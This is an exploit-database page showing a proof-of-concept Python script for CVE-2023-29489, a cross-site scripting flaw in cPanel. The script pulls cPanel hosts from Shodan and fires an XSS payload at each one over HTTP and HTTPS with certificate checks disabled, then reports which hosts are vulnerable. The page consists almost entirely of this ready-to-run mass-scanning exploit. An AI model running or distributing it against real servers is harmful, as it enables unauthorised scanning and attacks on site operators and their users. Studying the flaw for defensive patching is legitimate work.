Exploit database

GH-5fcabd415c17d5266d97191bf348ce19

ipk1/cve-2023-29489.py

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-29489

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
ipk1/cve-2023-29489.pyRevision 2b72f3d97ce7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-29489.py

Suggested starting filePython · 1,376 bytes
import shodan
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

SHODAN_API_KEY = 'your_shodan_api_key_here'

def search_cpanel_hosts(api_key):
    api = shodan.Shodan(api_key)
    query = 'cpanel'
    results = api.search(query)

    for result in results['matches']:
        ip_str = result.get('ip_str')
        host = result.get('http', {}).get('host')
        if ip_str and host:
            yield ip_str, host

def test_xss(url):
    xss_url = urljoin(url, '/cpanelwebcall/<img%20src=x%20onerror="prompt(1)">aaaaaaaaaaaa')
    
    # Disable SSL certificate validation
    response = requests.get(xss_url, verify=False)
    
    soup = BeautifulSoup(response.text, 'html.parser')
    img_tags = soup.find_all('img', src='x')

    for img_tag in img_tags:
        if 'onerror' in img_tag.attrs and img_tag['onerror'] == 'prompt(1)':
            return True
    return False

if __name__ == '__main__':
    for ip, host in search_cpanel_hosts(SHODAN_API_KEY):
        for protocol in ['http', 'https']:
            url = f'{protocol}://{host}'
            print(f'Checking: {url}')
            try:
                if test_xss(url):
                    print(f'[Vulnerable] {url}')
                else:
                    print(f'[Not Vulnerable] {url}')
            except Exception as e:
                print(f'[Error] {url} - {str(e)}')